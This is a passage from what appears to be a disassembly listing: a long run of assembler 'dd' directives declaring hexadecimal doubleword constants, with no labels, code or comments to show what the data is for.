		dd 103B5AB1h, 0D23D9h, 0E99DBF4h, 62EBCF2Ch, 59B4A835h
		dd 1A009A12h, 103DFEB1h, 43691485h, 620EB02Fh, 204340Bh
		dd 271E0530h, 0E34848h,	6AD29414h, 0C8C0CAA5h, 48EB81A6h
		dd 380600C6h, 0DCD4B99h, 5B006482h, 0E2524AA8h,	3D1B0B43h
		dd 6B07E46Ah, 0F4C1DDh,	0A56D36E7h, 56617190h, 0E4A78B18h
		dd 0F8266A20h, 0C9471EFh, 5E346543h, 3186E20h, 0A590E061h
		dd 30A6FCEEh, 0A930DE1Bh, 7404B976h, 0B67A624Dh, 0C418CAC6h
		dd 293740h, 64CF8B79h, 66183C0Eh, 83BF8D0Fh, 0CE4C0690h
		dd 7AF95982h, 63A802D9h, 2F85256h, 5C85D0A3h, 4DF42118h
		dd 60154389h, 21905130h, 0D73038AAh, 7DB7D161h,	26A5039Ah
		dd 33A7CF59h, 0CDEE410Fh, 0E02DA3C5h, 487CD8h, 0B50D395Fh
		dd 0A57DAC64h, 25430A1Fh, 34245C01h, 1CC1B188h,	71096098h
		dd 0AC007D96h, 45B4F5A8h, 0EE5E69h, 3C21E684h, 0C39B1EC9h
		dd 1F0043F8h, 5BC6A16Bh, 50FCBA91h, 264CC15h, 712523C4h
		dd 0D640E546h, 0FE736950h, 68004F77h, 633449C2h, 2C7072CDh
		dd 761D56Bh, 20269182h,	4707E2CBh, 50D28C07h, 0A7515890h
		dd 0EBC4456Bh, 335C1C3Bh, 2F7C06Dh, 0F863E053h,	986959h
		dd 77DB661Dh, 60E9A9h, 0CC049571h, 80B8E4BDh, 8FA0EC4Bh
		dd 32CE6AAh, 0C2BBB42Dh, 7EFA5F59h, 494A0AFh, 0DAA70AFAh
		dd 0D94F452h, 0AF260FC6h, 7C02B247h, 80CE2577h,	5EC3A7C0h
		dd 3790CD1h, 432975E5h,	0CD712284h, 440808F3h, 0DC442F7Ch
		dd 0DBEB44E0h, 0BFF84D89h, 0B19E2C93h, 7D57005Bh, 27BB83B7h
		dd 6D940800h, 4189B573h, 5C76001Fh, 5C4E8EFh, 827BBE45h
		dd 0BDFB0200h, 0D9A82E1Ch, 26220088h, 5E7A1467h, 0DC00537Fh
		dd 5156DFFCh, 7E3EF0h, 0ECD03AC0h, 0D817B937h, 184FCA00h
		dd 7560E8DEh, 1D040A43h, 0F16110h, 0F2EA08AFh, 0DE009FEBh
		dd 0B3442AD8h, 462736h,	37EF7D5Eh, 82ACDBEDh, 420F3F1Eh
		dd 1318051Eh, 0DAF469h,	11E6CE6Ch, 0B8E0A850h, 4459DF00h
		dd 0C07D6792h, 3ED0120h, 5B04F2FAh, 0F551F4C8h,	3AF45900h
		dd 0E9FBFD66h, 0D9420EAh
		dd 92B8C706h, 5E0076Fh,	0DA29648Eh, 0D143C075h,	1907F5ACh
		dd 0CF2D5F0h, 2B22C0CFh, 6DB01Ch, 0A19C5505h, 0C013ADAEh
		dd 0D300EF7Eh, 5FED5D4Fh, 0E5DF44h, 77C9099Ch, 0BAB9F721h
		dd 8017B43Eh, 2B99D167h, 601F9Dh, 87225BF3h, 0D32C91Dh
		dd 9EA0B00h, 749AB514h,	979600F5h, 9F7F2127h, 3209F606h
		dd 0F8406899h, 0DF031E2Eh, 8A43006Fh, 14D935BCh, 2A103600h
		dd 0B1F69C2Dh, 1FBAFE1Eh, 80F7D396h, 56D2AA50h,	0A00AD48h
		dd 5365979h, 7A1EC5h, 16DDC1B7h, 3DED6A02h, 0C2279E03h
		dd 0A8333909h, 5C6C542Ah, 0B8008A97h, 0B471C8DAh, 4C0A5E07h
		dd 0A8388D53h, 32DD4403h, 75C8C8DCh, 3B97E0A9h,	2338D5DEh
		dd 2D8B9580h, 8618114Dh, 8500B3F2h, 0ED50D44Ch,	0B57116h
		dd 59FA8DBBh, 0A2BCE755h, 27E0CE4Eh, 5D6D00EBh,	0A0797DD9h
		dd 0AB3ED557h, 2E00F81Eh, 0D40FE273h, 666DE7h, 0D69E312h
		dd 54DCF1CBh, 0C93938h,	0E2B04341h, 2A05C5h, 0FF6F4A37h
		dd 53FA44B2h, 0B5979800h, 43FDC7B1h, 156A0160h,	2F063CC4h
		dd 2E45E031h, 5F2A6F00h, 6E1D3DEAh, 0E202004Ch,	0B7E66661h
		dd 0EF009BB4h, 5234CAF9h, 773D426h, 68482088h, 0A9F1E0D6h
		dd 0AB24C17Ah, 0DC009CE0h, 862A01CBh, 0F44F0088h, 320994B2h
		dd 42007EFEh, 0FCDDDEBh, 0CA2C5Ch, 0E36E58D7h, 4B3DB9A1h
		dd 5B006B72h, 80C641FEh, 848B32h, 3127FCBh, 0E6CFE1DBh
		dd 4201C492h, 9F3BCABDh, 0D055801Fh, 0F84EB380h, 956C001Bh
		dd 0DAD067F5h, 550004E5h, 48DF897Fh, 0CFC24Fh, 32741FC5h
		dd 2D34B546h, 0BC9B5017h, 100003ECh, 0D41B2C53h, 917D462Fh
		dd 0F4008577h, 4B0E8B26h, 78C4ACFh, 302B3C7Eh, 0BB4CBEC3h
		dd 3E00219Eh, 86FAC787h, 73B8DFDEh, 0A3F005Eh, 0CAC9D5E8h
		dd 2A1CF281h, 0CBC00745h, 487A9237h, 0B7892B8h,	0D727E4ABh
		dd 0BDE36C00h, 0F0F7C98h, 0A32B635Fh, 8036791Eh, 3A46F2h
		dd 0A2175DCEh, 0BAE18E9Bh, 1C4AE200h, 0D99D8D29h, 693004E3h
		dd 80EDC9F0h, 2FA7B578h, 26AF018Ch, 0A8980BF7h,	1C7D09Ah
		dd 7B8ECE00h, 612E6AEAh, 97F028F9h, 0C8472ACh, 4B31E098h
		dd 0F400E6A8h, 201E7327h, 9ABA29D1h, 81700838h,	3BB95AA5h
		dd 3AEC0196h, 8F4EEA47h, 7FFFF8h, 56584160h, 0C762EDA1h
		dd 9636F104h, 0A9C0C6C8h, 1C338h, 0D63F55A6h, 3CD84A8Dh
		dd 0AB099879h, 10E606h,	1FE5F896h, 0CE8F00EDh, 0CB18DA15h
		dd 0D900B66Eh, 0F73BE42Ah, 0B21D37h, 2CC7106h, 0CFB9A9F6h
		dd 9E4C2206h, 41E0EABh,	8F4A6E5Eh, 0C85C83E2h, 893EF800h
		dd 5788EA74h, 0F7EA42h,	6E0D78B1h, 0F17A44E2h, 839E2F1Fh
		dd 0CE688A40h, 6A935h, 0D277A7D7h, 3D4CE272h, 6724927Eh
		dd 0B5845C8Eh, 702C93E3h, 0EC2A3F40h, 777E5Dh, 235FC0E3h
		dd 0F5617EE0h, 72C46900h, 1D71C30Bh, 0C9900C2h,	0DDE5AB8Ah
		dd 0E700C9E1h, 0DB3F5711h, 73937BFh, 0F7F284EBh, 2F080C2h
		dd 9C3CB7B6h, 0E4FE260Ah, 764D4400h, 3D33F9Fh, 5CECBA58h
		dd 88E13156h, 0E4A8D864h, 6BDFB502h, 0C44BAAC2h, 5E510080h
		dd 0E5A51158h, 7F00B267h, 0DACD7472h, 0E25AFh, 8A1BC8C9h
		dd 0E047CAFEh, 5E53B000h, 52147EECh, 1E3000FFh,	0D684B4F2h
		dd 0F139926Bh, 0F2580DAh, 89343FCFh, 28838AEh, 40E8689Dh
		dd 0D55E0863h, 0B00ECE1h, 70D89B12h, 571ACEh, 0FB07DFF5h
		dd 43E56F42h, 9EE49A00h, 0AD97DA04h, 0B079003Ch, 9DEC0125h
		dd 94002E27h, 0DA5615E3h, 3CD2F21h, 0A31ED8F9h,	0C1D0244Bh
		dd 0B20396E4h, 996C613Ch, 2503D869h, 5DFE89h, 7F128CBDh
		dd 2E0748E3h, 7DCA342Ch, 0D5D3B200h, 75B68EAh, 0F2B7CDEDh
		dd 0DF3E9073h, 0CF03F87Eh, 996B80BFh, 8228A9FEh, 0BA000873h
		dd 23B5B2Dh, 5E505010h,	430016C0h, 0A451E6DEh, 901FE92Bh
		dd 4001591Ch, 911EA30h,	620050A6h, 4FFF3F13h, 115AC11h
		dd 1C69530Bh, 9410573Ah, 0A7D828h, 55843B20h, 0C0CF5A61h
		dd 92DEEF7Ch, 5000FEECh, 0FFC6F8F5h, 2EB88671h,	809C8498h
		dd 3CFA08A9h, 0BBF60663h, 0F5839300h, 177A6E3Fh, 7F18786Ah
		dd 3ACD0E94h, 7D4066E2h, 0FA0D80F8h, 0D59FBA00h, 0DD26721Eh
		dd 3F8B147Fh, 5603D8CDh, 9E0A11BFh, 0D093D4D8h,	87C2609Fh
		dd 15530F97h, 0E1A09828h, 0A59C5EFDh, 731BE800h, 9BE2BD2Fh
		dd 0E7D179Eh, 0BC604066h, 3B2E7CD5h, 0A34684Ch,	0B05E95B2h
		dd 0ABBF8349h, 0D7E6E0A4h, 7F380378h, 76904B3Ah, 8A200398h
		dd 0BF8951Fh, 503835Fh,	0C8A799FEh, 7DA1429h, 9B885387h
		dd 9860C067h, 4E3F4A10h, 7F9A01F1h, 3BE102C3h, 38718BDCh
		dd 3400A1B6h, 0D96E8CAEh, 0A2007836h, 7A06C7EAh, 0ECF4211Ah
		dd 0BA0A005Dh, 5894C454h, 751FB6E4h, 0F0004E8Dh, 0C96FA053h
		dd 795E008Bh, 0FFBCAC28h, 0AA074AE7h, 0DE5CBDC4h, 1944D1B0h
		dd 2438FA5Ah, 9CF96Ah, 0D6E94E32h, 0A1267F71h, 0DF1ECC5Eh
		dd 9EC36600h, 0EC0822h,	1FBE2A9Ah, 697589AAh, 0AC47A92Ch
		dd 0D0709300h, 9DA9B36h, 85908BBBh, 2C965C81h, 0CC11ACBAh
		dd 9F40821Ch, 418ECB7Fh, 544AE08Dh, 6034E855h, 745108D9h
		dd 2C1D2AE3h, 461DEC8Dh, 97D60205h, 17E1003h, 0C9A10145h
		dd 0CFACB985h, 0D073D17Dh, 22507E76h, 9E54D710h, 0E28CEB2Ch
		dd 6FFC3D1Ah, 65D77981h, 0C0BE19B9h, 0A8F0A72Ch, 0C88EB600h
		dd 636926F2h, 0C3760755h, 43D9D52Ah, 79882E4Ah,	0E00329CDh
		dd 2158D01Eh, 8C1803C2h, 0F8D85EA3h, 0BC6D6E90h, 6431AC01h
		dd 95D7ABB9h, 931C4840h, 7E2F142Ah, 0EF005823h,	31D1F164h
		dd 471EEE13h, 0DDC028CBh, 0FF1C8C45h, 4DC9000Dh, 80D225C4h
		dd 0C80095BDh, 0C5889415h, 3DA1501Bh, 0BA6082EEh, 99E6B339h
		dd 0F7AD3C00h, 797D304Ah, 509FECFEh, 0BA9DF8h, 7A0D175Fh
		dd 0E0B65942h, 2245CF00h, 0F013D9Ch, 80D500A9h,	7C897B39h
		dd 0A7744F06h, 7EA5C60Ah, 0F487DC88h, 0BA40B1C4h, 389C2Eh
		dd 72B4EF97h, 8768D13Bh, 0D525E306h, 2314CC1h, 63F675EBh
		dd 0B48233C4h, 1460669Bh, 203F7E52h, 0DFF40E14h, 9CC0D26Eh
		dd 54F9952Fh, 0FC649094h, 8C73F98h, 7F21B381h, 0DC044469h
		dd 0CD005D8Bh, 7602640Bh, 0B0B7AED7h, 4EA306B7h, 814AC0CEh
		dd 9D46F139h, 809E067Dh, 1F7E9C40h, 71D8A039h, 1EC13CD7h
		dd 1666340Fh, 0F502D414h, 0E7C0F3E5h, 1CEE7D60h, 3D0075B0h
		dd 3C6EF775h, 1CD7977Ah, 0BF30D92h, 0D95C2570h,	405A4B00h
		dd 31ADFED2h, 708185EFh, 47B0FBA5h, 0EB003C18h,	15A2C752h
		dd 3543E2Bh, 0AA31AB05h, 0F8904375h, 1C00CF24h,	0BED7329Ah
		dd 4A2FFECh, 9FD60B4Ch,	0C2490FEh, 5260E764h, 168FDC60h
		dd 0B84660C9h, 0CF53E078h, 3289C601h, 0CB4044EEh, 16518980h
		dd 1CA1316Eh, 0B268731Fh, 0F8F259C0h, 0E9042BFh, 55DF18FFh
		dd 0B069A380h, 0DC3B03AEh, 0FA578666h, 8F11E6E5h, 56BF6104h
		dd 6E1080D0h, 0CFAE6048h, 6F180084h, 0B18D03B3h, 0B2004F59h
		dd 0D6FDECBFh, 64E36DC1h, 47142962h, 8A804B25h,	0D5A61Dh
		dd 0C7930A10h, 0FE591462h, 9AD93107h, 7A08CB9h,	7E9F77h
		dd 49C9838Fh, 6FBC6B61h, 4F452A03h, 0C0E7DE48h,	65F363h
		dd 57D1C251h, 7FD8950Ah, 147E2C26h, 0D6F2D900h,	2C73F01Ch
		dd 7CE929Ch, 2075D587h,	57F69DABh, 4C856D0Ch, 0D3307Fh
		dd 16241254h, 0EEF7AB40h, 0E532F800h, 4DA2202Eh, 0C788A8A9h
		dd 53424ACh, 0ADF800A3h
		dd 0DFDEEA9Bh, 0DC263300h, 863FB912h, 0FFBA1CC8h, 801BC027h
		dd 0E80D4B7Fh, 5A482C00h, 0BB34DB7h, 8AC3005Bh,	429F3239h
		dd 7C0006E6h, 0A5D865A0h, 30030728h, 1811AF0Ch,	1473F8F7h
		dd 6E002070h, 0F0CCD2E9h, 0A3B0D9h, 9A11E267h, 0C2F25DBDh
		dd 69543403h, 98ABF4FFh, 5C35B5FEh, 680017DFh, 63DC464Ch
		dd 210EC081h, 20D3EB0Ch, 6EC47A37h, 75360042h, 1112C9E7h
		dd 0E000553Bh, 3E5170Fh, 0F0EB4Ch, 6C47BCF3h, 0E7332C87h
		dd 4EB44B07h, 35D0F89Dh, 1C6DC5A9h, 803F1718h, 62F0A36Eh
		dd 34030A47h, 58E60514h, 9C87F0E8h, 4FED2803h, 0F73118E0h
		dd 0E7D25661h, 0FBB889FAh, 5958BF00h, 878C769Dh, 0A78D00A3h
		dd 92D87119h, 0F4003F63h, 0E0B949E6h, 0DCADB6h,	0EFDA3D0Ah
		dd 1ED8A37h, 1ED0091Dh,	0A50DF902h, 8CE080E5h, 9776B7h
		dd 0B96C035Bh, 7FAEAF74h, 1CE23339h, 0AC41A58Dh, 0EBBF9D5h
		dd 58005022h, 2406BAFFh, 0FA0095B9h, 18DBB863h,	74016927h
		dd 31F8BD2Fh, 0F7E41650h, 0A2A51400h, 7BF7453h,	0DD390F2Ch
		dd 465F4A5Eh, 0B8E7DFEDh, 44CC5900h, 8371C91Bh,	0A8410165h
		dd 3220EA94h, 268C4064h, 5600F3A6h, 0EF73F70Eh,	482C9FA2h
		dd 950B44D4h, 4B00D991h, 1B1D0B60h, 8B4B350Eh, 8AB40045h
		dd 166F80Eh, 0E4D333F6h, 0CC506F87h, 62035772h,	38E08B5Ah
		dd 2BBDF0ABh, 0F0AE243Bh, 9DD5007Ch, 1970F664h,	8853B780h
		dd 0D0A449BDh, 42C658h,	8D2193BFh, 694A041h, 0F2B70E44h
		dd 990748F4h, 4AD59575h, 0B0D3E260h, 1C4726DFh,	3DFD00ADh
		dd 0A17B5010h, 0DC002C90h, 9992B91Dh, 26218D9Eh, 0F76184h
		dd 35A649D2h, 0A8040624h, 37501A2Fh, 0ED7DC880h, 9BFE006Ch
		dd 0C5D2695h, 0F8007928h, 0EC52DEB1h, 582D73h, 0E033FE7Ah
		dd 530BE787h, 9E0A1C3Dh, 0CF404FB5h, 0BFA3399Bh, 0E30139DCh
		dd 68D59400h, 0B083C636h, 224CBCF8h, 37DA0057h,	1F03A4CCh
		dd 4AD200ADh, 939843E1h, 0CA1DB28Dh, 0E7C552ABh, 9400D5F3h
		dd 1CE4EE2Eh, 0A2E90080h, 7C26C6B4h, 0AF5E68F4h, 89009085h
		dd 0CA190E1Eh, 8CC90060h, 0C79F91D6h, 0E60033DCh, 929E8B87h
		dd 0F47BC8h, 4895F3FDh,	7EBA13B9h, 0EBF93000h, 75C19327h
		dd 907224CBh, 0D7A58B04h, 9C40F180h, 0CD0788D3h, 8C15FBC2h
		dd 95891E40h, 5BEA3AA4h, 0B2BFA200h, 734ECA64h,	0D8B61A0Fh
		dd 0E5282070h, 128239AEh, 0FF2B90Ah, 1940ACF0h,	4037A927h
		dd 15B4BD00h, 796AE3CDh, 0ED293EA8h, 41A1F689h,	48937400h
		dd 0D800CD01h, 7C49831Ah, 2127EE8h, 0D63C21DBh,	28486FCCh
		dd 498448F0h, 5400F89Dh, 0D1C80935h, 8700A286h,	0B6CF136Dh
		dd 0F8271EFh, 8E586A52h, 0B5BB4660h, 0F1009936h, 0FD19BDA9h
		dd 743C2B61h, 24D558B7h, 108E007Fh, 56A8BAF6h, 0E0BF40C8h
		dd 0B51D17Fh, 0DAAA682h, 0A9156C80h, 671CF0C0h,	24C175AEh
		dd 28E15E59h, 0F8931DE0h, 5BFC9Dh, 0C1CC8F57h, 0E2DD3D87h
		dd 45AEEC00h, 9EE46F51h, 282202B8h, 0E7F5555Ah,	50F99CC8h
		dd 8B917C09h, 62FE03F8h, 84AE0043h, 65078F63h, 1E077555h
		dd 0B4A7044Fh, 24A5321h, 3AE660E2h, 545928ACh, 0F44C9008h
		dd 63860356h, 67975D03h, 0B6A75CB0h, 2A41648h, 52C9B92Fh
		dd 305160B8h, 4DEB028Fh, 0D83F4EE9h, 15BE8C8h, 7199B501h
		dd 0B99F7847h, 0FCD0A5D1h, 92157165h, 4950BC8h,	670333D0h
		dd 40D7668Fh, 9244487Bh, 0AB67C916h, 18F1D40Ah,	1863EA00h
		dd 0D09958Fh, 0BACD54E7h, 6B618018h, 9866CE5Ah,	7D8907FAh
		dd 2911E7D9h, 0F96E0420h, 28004E15h, 4063628Fh,	7A4DE490h
		dd 0D9D4310Eh, 41AE65B9h, 80AA3374h, 0CF5F0698h, 1EF2DC0Dh
		dd 8061A535h, 18B76B4Ah, 0DD0090DAh, 0D7203C86h, 2EA7EBh
		dd 87E86C1Ah, 7149E5CBh, 0EE77CF00h, 0CEEBC24Ch, 0AF1E00F4h
		dd 13700127h, 1B009945h, 0E7C645Fh, 17EFF5h, 67E3A4A1h
		dd 852468Fh, 93EE1F00h,	185CDA9Ch, 0E770FD32h, 33DE0074h
		dd 0CD49B81Ch, 0C756041h, 387C9CA0h, 1B8BF300h,	7A2380EBh
		dd 614C0F07h, 5FFCF9B5h, 0FC608EC5h, 480E18C2h,	0D2C8B087h
		dd 2840EED0h, 7F126786h, 3043B084h, 501B61BCh, 1DE72CD6h
		dd 29BA5B55h, 0E9730094h, 25CE6E1Bh, 134FEF00h,	0C3996328h
		dd 0D58C5A9h, 5CE04012h, 0E2CE182h, 28F69516h, 0CC78AC03h
		dd 0C9881001h, 66DC1037h, 7EC15688h, 5BFC8B1Bh,	0B74486BAh
		dd 1BFA9Ch, 0CB46A164h,	2E8DA8A5h, 6495D00h, 0C1B240D8h
		dd 18087320h, 2CEACFABh, 6501241Dh, 427A9E0Eh, 2882DBDEh
		dd 0D580E50Ch, 0C6003C44h, 9F7BA771h, 6AF3031h,	0B0478AE7h
		dd 5B0721AAh, 0D5EA779h, 40C6488Ch, 253DED78h, 0F0380086h
		dd 45CF2A0Eh, 0BC5F000Ah, 0F8BCB2Ch, 0D048DFAAh, 47DE00B2h
		dd 0DCD5BD24h, 8699004Dh, 91301A9Dh, 405870F9h,	9660743Ch
		dd 9D078021h, 727CC1h, 67B3F2ABh, 0E3926D9Fh, 0B94DDD01h
		dd 890FD1D5h, 51E83186h, 0EB0018DBh, 5F641EF3h,	2E3634A6h
		dd 18B8240h, 3C0ACAD1h,	8A21CCBEh, 0DDDCEF1Eh, 0B94039D8h
		dd 331500B5h, 0D01756A1h, 9CD5E95h, 4CFC2144h, 0FE640033h
		dd 4BCA23B8h, 0CBFC71BEh, 881B4830h, 338E4C42h,	0FCA1D98Dh
		dd 5F01FEE0h, 39751A06h, 8008B257h, 1C31D10h, 7E66FBFEh
		dd 205BF4D1h, 0A90184A7h, 0D3CEE406h, 0E180B997h, 0FEAA4A46h
		dd 0E11FCBDDh, 20F65406h, 6A3E1018h, 1A608DCh, 0FDB820C0h
		dd 9C041318h, 0F7C9301Fh, 4B21E532h, 48C49D84h,	14A56612h
		dd 20CD0CBh, 106E013Bh,	0E63E0365h, 0B2871052h,	5DDA90AFh
		dd 7B0019D4h, 0B01D4455h, 3AE5D54Fh, 723D50C6h,	85D41F80h
		dd 80493682h, 5F004FE8h, 4622737Bh, 0CA39111h, 151B1F02h
		dd 1E607F28h, 0B1ED2631h, 0C6801373h, 0CC6A0314h, 86D80C56h
		dd 2C646D39h, 0E4401131h, 0A7CFFA6Eh, 0EFF0367Bh, 4801BA01h
		dd 0C783229Bh, 18589194h, 28EA201Bh, 817DB01Dh,	0E1A06D1Bh
		dd 10B174F3h, 0D262A730h, 3136992Ah, 0B76544D1h, 1AFED07h
		dd 512F828h, 0E2C37551h, 16646272h, 374018A9h, 5690C2BEh
		dd 68A61136h, 3FEF0719h, 40AD93FEh, 5315ACD1h, 204760CCh
		dd 0E07E1C22h, 31EBD9E9h, 1A8470F3h, 5F03FCF6h,	3E4E232h
		dd 6273B8FEh, 397D4Ch, 1401025Bh, 5CEE4256h, 783650CFh
		dd 0E2E7B9h, 879EE845h,	58960B3Ch, 266E18C3h, 22E9069Ch
		dd 0A8E0C3CDh, 0D8612AF8h, 6AC1D919h, 0DE35498Ch, 0A7744420h
		dd 1D27380h, 847A0EF7h,	489AE120h, 8CF15FA8h, 415236C1h
		dd 4DC400DAh, 33199240h, 7E58AFEFh, 212450F9h, 0DF065CF0h
		dd 0E1B390D8h, 77350E48h, 7881EEBEh, 45C5150h, 117CE863h
		dd 7D9128B1h, 14DC6354h, 6AB44Ch, 752AC49Eh, 60565E9Fh
		dd 36B37166h, 48C08183h, 23FA8E15h, 609F3A69h, 0FE614700h
		dd 2A09C16Eh, 3649120Eh, 0C9664CC9h, 56340133h,	0B8920CCBh
		dd 0CCA053EEh, 84A5F8CEh, 0CA558980h, 9A7F11h, 0DB0DFFEAh
		dd 845C88D6h, 724420C5h, 110F9C41h, 65FC5D8Fh, 7B520462h
		dd 80913B3Eh, 3735F91Ah, 0B2A34B00h, 0AD0121D2h, 60257B95h
		dd 2AC2C98Ch, 46004537h, 0D387A69Eh, 2605D0Eh, 0E3F8EC5Ch
		dd 0D844DF17h, 0A940152h, 0DCAAFC20h, 63505B43h, 0DB881019h
		dd 7ED700E4h, 0CE1D18h,	1427FDBEh, 0B988A60Fh, 2F8920C9h
		dd 1C329228h, 6E3414E5h, 9842592Dh, 0A4CECFB3h,	0D08D93A0h
		dd 4E214888h, 3440A613h
		dd 9BE48FE9h, 0A4CF12CBh, 0F45F5Ch, 92B4CE23h, 59C1ED2Ah
		dd 3C82D201h, 622F46F0h, 0E4D96135h, 2885C892h,	0CF7403AEh
		dd 5124566Ch, 0B030447Ch, 45990A6h, 5C05576Dh, 0F339810Ah
		dd 0D14C24DFh, 0FC86A601h, 533EAC79h, 0F018E456h, 77C90241h
		dd 0A1FD29F6h, 1E03AC90h, 7E400C91h, 7A5159E1h,	22AB03EEh
		dd 54CDB08Fh, 802F9828h, 0AC387C50h, 14806949h,	1E10D413h
		dd 897EA6E5h, 81FFDC5Bh, 0D675E12Ch, 6044E424h,	0CA2E818Eh
		dd 0EF00F738h, 6BBAEAB8h, 3FC64822h, 1B06FA7Fh,	58454D37h
		dd 6497D91Ah, 26AC85A1h, 0A422C44Ah, 8FEFA68Fh,	0C1CFE241h
		dd 0E0C49365h, 3177D10Ah, 20A9B6C6h, 21B033D2h,	9EC89156h
		dd 0D073E013h, 4CCC846Eh, 0DF4B144Ah, 14D28825h, 3A5105Ch
		dd 0E3795A04h, 81ABC9E9h, 0A2A10779h, 0A8A28917h, 6CF34820h
		dd 894D7F86h, 55CEF501h, 0D99C4178h, 0C6CB5DD4h, 5198DBA1h
		dd 39C98879h, 29C5001Dh, 3E7435E1h, 3B805EBCh, 0E36B4DD4h
		dd 0B9241037h, 39940C7Fh, 70A12224h, 60089172h,	0B38BF11Ah
		dd 0B90318E6h, 53721B9Eh, 0D42951A1h, 0B3789408h, 87350628h
		dd 29029983h, 0CE2C5F8Eh, 0A15C40F9h, 0B5680D57h, 107950F6h
		dd 3446829Ch, 39908631h, 74E85059h, 0E26CE261h,	26EABFh
		dd 2443DA78h, 29C3288h,	9AFC960Bh, 0F414108Ah, 36228873h
		dd 1CB66744h, 40EAB902h, 1B5BE8B7h, 8600D491h, 59F36BBEh
		dd 502FE7h, 535C5A8Bh, 4E376EBAh, 0F83408C0h, 1EF2478Ch
		dd 196F7C85h, 10422141h, 11051A6h, 0F805A044h, 0FCA340DBh
		dd 58021D43h, 715DFB79h, 211C816Eh, 48869288h, 78CAA150h
		dd 2A0048F8h, 9026AF2Dh, 3F66DBE7h, 9102F962h, 0B138E9F3h
		dd 995145E1h, 0F0087E39h, 378FD8F0h, 0C060CFACh, 73D2D4F5h
		dd 1400E9FCh, 42ABD5C7h, 31FE39F1h, 28E80DB5h, 24B8A289h
		dd 0F19499C0h, 1139DC04h, 6DA4E0Bh, 599C37EEh, 6C38F830h
		dd 8B8919C8h, 981F6429h, 0B9FF08h, 4D730DCh, 0D5EAF13Fh
		dd 1341BB0Dh, 0F4D7F035h, 94C32D00h, 5400A4ACh,	0CC33D180h
		dd 3F3268Ch, 2CF07117h,	5930D095h, 2D53B108h, 1857FAA1h
		dd 7847B0D1h, 0C63DCD5h, 7C5AD21h, 8B2115D9h, 2FC7D00Fh
		dd 0EE705AF0h, 5E84B511h, 609C6E28h, 5BB2C983h,	0C1053F48h
		dd 0BB13ABB9h, 518D413h, 6F5E8B51h, 8A86E959h, 0A13019BBh
		dd 0A38D51F3h, 529C31F9h, 8576031h, 5AD14489h, 54A1E740h
		dd 888438h, 96DD0EEAh, 3BB907D4h, 0B5014FE0h, 0E0E1B60Ah
		dd 488C53E6h, 75122FFh,	396B4500h, 5D2BEB5Eh, 58D4492Ch
		dd 0A381B5C0h, 0F6500925h, 0A4AE7480h, 0D3062E00h, 5D9866F8h
		dd 1F61C88Fh, 0AF81329Ch, 75C2C9EFh, 2B2A80EFh,	1989FC43h
		dd 0B8366B70h, 0EBC99DD6h, 63470020h, 0DE493FBh, 97051E62h
		dd 0C22D90D5h, 645B8848h, 0A8F608Ah, 4987F33Ah,	0B1761969h
		dd 5414DF39h, 0D4BF11C4h, 3D665A0Ch, 0B1746749h, 0A6AE0E00h
		dd 8A9B483Ah, 4EBC1F4Ah, 0FBEC090h, 5E8F0A78h, 24601D49h
		dd 2C0050FDh, 0F0D53BF3h, 0EE540471h, 9258FA2Ah, 3C144F70h
		dd 2C402E46h, 5A0C5350h, 22A4F848h, 2A9098BBh, 32B0A2A0h
		dd 9A19B8A8h, 27EDFF40h, 43CE9603h, 28687EAh, 0A87E94D9h
		dd 38449DB4h, 6F7BD210h, 0A50E1053h, 64600A08h,	0DA9C3687h
		dd 7EB94D01h, 62A38432h, 0BA529D40h, 70C9B82h, 9004A803h
		dd 1B838A93h, 73C5B49h,	4CAD845Ah, 0D375F71h, 4FA6B19Fh
		dd 0EFE0AF05h, 942BB72Fh, 0BE071602h, 0A023FF58h, 6D0433B8h
		dd 2FED03AEh, 28C954CAh, 9F8BB0D9h, 95428E20h, 4927E764h
		dd 66105C28h, 5B02DD59h, 51756D6Bh, 0A254A42Fh,	0E308C8h
		dd 84675A07h, 37B9CC72h, 2CC77900h, 927D28A5h, 1D540026h
		dd 0AE19474Ch, 0E61DF6CCh, 73CAC68Ah, 3804A024h, 53408BADh
		dd 20BD1ABh, 66CF1000h,	883A767Fh, 0ED682823h, 358E1598h
		dd 3E00809Ch, 4E980DC2h, 773EE80Fh, 8062385Dh, 0B245DF5Bh
		dd 1EC359Ah, 0D5593FFAh, 23B9F3A8h, 4371828h, 45C349h
		dd 93C633C1h, 0FC1F4D69h, 5470AB26h, 4606A088h,	8C01A983h
		dd 82F180B3h, 9C52786Ch, 8F37201Eh, 0AC003659h,	3050D013h
		dd 24AE3B17h, 684867DFh, 0A0FDC1FCh, 56024DCh, 10CC4200h
		dd 9D19BB6Dh, 54D60632h, 697D13AFh, 925044h, 0B993B65Fh
		dd 47A1E446h, 4FEA2800h, 6A41BE3Ch, 0BBFE10CFh,	0DB2050BAh
		dd 0A84949h, 0DF1693F0h, 90E87781h, 0DA4F22E4h,	9717EE04h
		dd 9CCC518Bh, 4116F9D0h, 803C7458h, 86221A37h, 4210A4BBh
		dd 78391741h, 98E43115h, 836FAB50h, 1BD46852h, 0A420F72Bh
		dd 482D898h, 0D9C973B6h, 98B884A4h, 7B382B98h, 0B766731Ah
		dd 6738B199h, 4BD269F8h, 5C029832h, 0B8AA0B0Ah,	0D019C078h
		dd 632F8260h, 1A35CECh,	8D8E763Ch, 40007240h, 18C35A28h
		dd 26C7390Ah, 0E0ACE749h, 61AEB740h, 0E33AF600h, 0B696121Eh
		dd 351920E8h, 8D2C7243h, 0BC425234h, 0F3026046h, 0EDDE476Ch
		dd 59CC11Ch, 6FB0B10h, 4C989053h, 94897760h, 99FF9070h
		dd 9B7D00BCh, 7515E62Ah, 5196F502h, 0E0F62D6Dh,	0E44738D7h
		dd 0E8880ED0h, 0C094D128h, 410FF89h, 0AD071FF3h, 38632F66h
		dd 31956C6h, 3116127Bh,	0C1EEEA75h, 91C470ECh, 0F123445Ch
		dd 9C784388h, 26618261h, 0DCCD2D8Bh, 0B9E57CC0h, 0DFA23E58h
		dd 0F4D6D515h, 21F034BCh, 0EABD188Ch, 5DE7005Fh, 0EB8F3848h
		dd 0BE0481B8h, 532529F6h, 0EFD3401Ch, 5941D5C2h, 0F38F8212h
		dd 0E9174C01h, 0F0A9B30Dh, 0E4E89514h, 6400DC22h, 0A3BDC59Ah
		dd 1FFA878h, 93EB0C7h, 974FE0F5h, 0A0203660h, 0CCCA39h
		dd 3D2556D9h, 0E2B4317Bh, 0C40E2A28h, 0B72144h,	121A73DEh
		dd 9E2DA480h, 7D7AF61Dh, 0E96B630Ch, 18110039h,	8094D6FEh
		dd 0ACA9C47Eh, 0A1C034B2h, 0D3744h, 0EA2A4F24h,	0E8C1A82Bh
